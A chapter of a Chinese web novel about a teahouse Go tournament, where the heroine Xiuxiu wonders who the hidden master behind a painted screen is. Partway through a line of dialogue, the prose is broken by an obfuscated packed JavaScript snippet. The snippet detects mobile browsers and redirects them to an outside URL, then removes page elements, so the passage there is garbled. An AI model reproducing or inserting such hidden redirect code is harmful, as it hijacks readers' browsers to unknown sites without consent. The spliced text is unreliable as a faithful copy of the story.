“你、你叫我阿定便是。”阿定声音不高，只说这么一句。 秀秀见他认出自己，心中欢喜，话多起来，连忙道谢：“阿定，那日多谢你出手相助，我叫钊柔，大家都叫我秀秀，怎么唤我随你心意。如今我在金鼎轩后厨学艺哩！好在离得不远，竟这般巧，还能与你相见，阿定，往后我还要多来叨扰，多谢你的恩情！” 秀秀语气诚挚，情真意切，一口一个阿定，叫得亲切自然。 阿定不善言辞，静静听着，阿胜正欲替大哥开口寒暄一二，这时，他身后那面绘着青山绿水的屏风上，传来了三声敲击。 “叩、叩、叩。” 屏风厚实，后头的人被挡得严严实实，但敲击的声音却又很轻，几乎被现场的熙攘掩盖，好在几人离得近，听得清晰。 阿胜闻声往屏风后走去，不多时便又出来，给了阿定一个眼神。 阿定朝秀秀颔首，随即迅捷转身，去了屏风之后，很快，就看见阿定的身影在屏风外一晃，他快步出了茶楼。 秀秀微怔，一旁的阿胜笑嘻嘻开口：“姑娘别介意，我大哥就是这性子，话少，腿脚快。”他拍了拍胸脯，“往后你尽管来这茶楼，我做主，你来我多送你一盘香瓜子！” 秀秀被其爽朗感染，正要笑着道谢，却见掌柜的走了过来、 方才在台上，掌柜的还是一团和气，此刻他盯着秀秀看，却带上几分审视，脸上堆起假笑，语气却是没有转圜余地：“这位姑娘，方才忙着没瞧真切，这会儿才看清楚，实在对不住，咱们这大会，女子不得来观赛，扰乱现场。” 阿胜当场拆亲爹的台：“何时有的这规矩，我怎么不知？” 掌柜的朝阿胜“啧”一声。 秀秀站在原地，脸上的笑僵住了，一时应也不是，辩也不是，进退两难。 就在这时，那扇屏风上，再次传来三声敲击。 侍立一旁的阿胜反应极快，朝秀秀快速递了个“稍安勿躁”的眼色，便闪入屏风之后，不过片刻功夫，又钻了出来，脸上依旧喜气洋洋，随后道：“爹，您怕是记岔了，咱们道诡茶楼以棋会友，开门迎客，可不分男女之别，现场女子，棋艺胜于男子的可不在少数，哪有女子不得观赛的道理？” 接着，他又朝秀秀咧嘴说道：“钊姑娘尽管安心留下，观席位置随意挑！” 这话一出，掌柜的像是明白了什么，立刻又堆起笑来，点头说：“瞧我这脑子，真是老糊涂了，姑娘莫怪，请自便！”他一边说着，一边躬身快步离开，操忙开赛事宜去了。 秀秀道谢，回到观席，心思却全然放在了屏风之后，屏风后头的人，究竟是谁？ 她回到席上，刚一坐下，只见阿胜登上高台，茶楼内的喧嚣顿时沉寂。 “指尖神手原来是茶楼的说书先生？！”秀秀大惊，压低声音问李聿。 李聿低语解释：“不，他并非神手本人，只是神手的‘替手’。” 秀秀愈发不解：“替手？” “嗯，”李聿微微颔首，视线似有若无扫过那扇厚重的屏风，“指尖神手从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649194|188039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不以真面目示人，他只在屏风后静坐观棋，再由专人传出他的落子指令，由此仁兄代为执子。” 秀秀恍然大悟，她不禁脱口而出：“如今那屏风后头，坐的便是指尖神手本人？难怪方才兄弟二人对他言听计从，莫非...他就是这茶楼的东家？” 李聿笑道：“众人皆做此猜测，可掌柜的说了，指尖神手每年都来参赛，技艺超绝，神秘莫测，不知为这茶楼吸引了多少看客，带来了多少生意，说是活招牌也不足为奇，掌柜的奉之为上宾，对他礼遇有加，也是理所应当。” 原来如此。秀秀了然，重新看向高台，但见替手阿胜已在棋盘一侧安然落座，他的对手，是一位精神矍铄的老者，也已坐定。 掌柜的亲自上前，唱喏一声：“棋坛大会，首局对弈，开始！” 一旁的红纸墙上，也有两位茶楼伙计，一人执白笔，一人执墨笔，将棋局走势实时画出来，以供棋客观棋。 秀秀看不懂，无聊乏味，不多时便萎了神，最有意思的莫过台下众人的反应。 她虽不懂对弈，却也能看出指尖神手搏杀凌厉，她频频能听见周身之人克制的惊叹。神手落子，尽在要害，能少走一步绝不多下一子，不多时便已将几人清扫干净。 阿胜仍在对面稳坐，很快，李聿也下场了，甘拜下风。 今年是他第一年参加，等到真的与指尖神手过了招，见识了这山外青山，方才觉出自己昔日想法有多招笑，如今看来，要让神手成为他的手下败将，简直天方夜谭。甚至周允，也未必能压其风头。 输给此人，并不丢人，李聿对指尖神手的崇敬再添几分，他抓紧又把心思放回棋局，全然不知身旁之人已快嘶嘶睡着。 秀秀打着瞌睡，头刚刚垂下，又猛地抬起来，醒醒神，只见四周均全神贯注在纸上棋局。 她随意打量起茶楼来，最后视线在屏风上流连不止。 她与李聿正坐在观席第一排，目光畅通无阻，将屏风看得清清楚楚。好一幅高山流水图，清丽淡雅，与这纷扰昏热的茶楼相去甚远。 她目不转睛，不知是看山还是看水，更像是要透过厚实屏风去探究其后的神秘人，想要洞悉一切。恍惚间，秀秀越发觉得那规律的敲击声似曾相识。 霎时，席间一片唏嘘，秀秀思绪回转，原来是指尖神手一时疏忽，行差踏错，竟落在对方虎口，白白搭上一子，棋筋被吃，局势大变。 阿胜对面的女子仍不敢松懈，紧紧盯着棋盘，眉宇间尽是沉肃与专注，几个来回后，岂料局势虽变，却并未扭转，指尖神手起死回生，环环相扣，滴水不漏，再次完胜。 棋局终了，满场寂然。此女子却并未懊恼不甘，她凝视棋盘片刻，随即嘴角上扬，竟绽开一个酣畅淋漓的笑。 “妙！实在是妙极！”她抚掌轻叹，“在下输得心服口服，此番对弈，受益良多，痛快至极！” 这般豁达的风度，瞬间感染在场众人。短暂寂静后，众人纷纷鼓掌叫好，秀秀在人群中，跟着鼓起掌来，不由自主看向屏风，心中风波又起。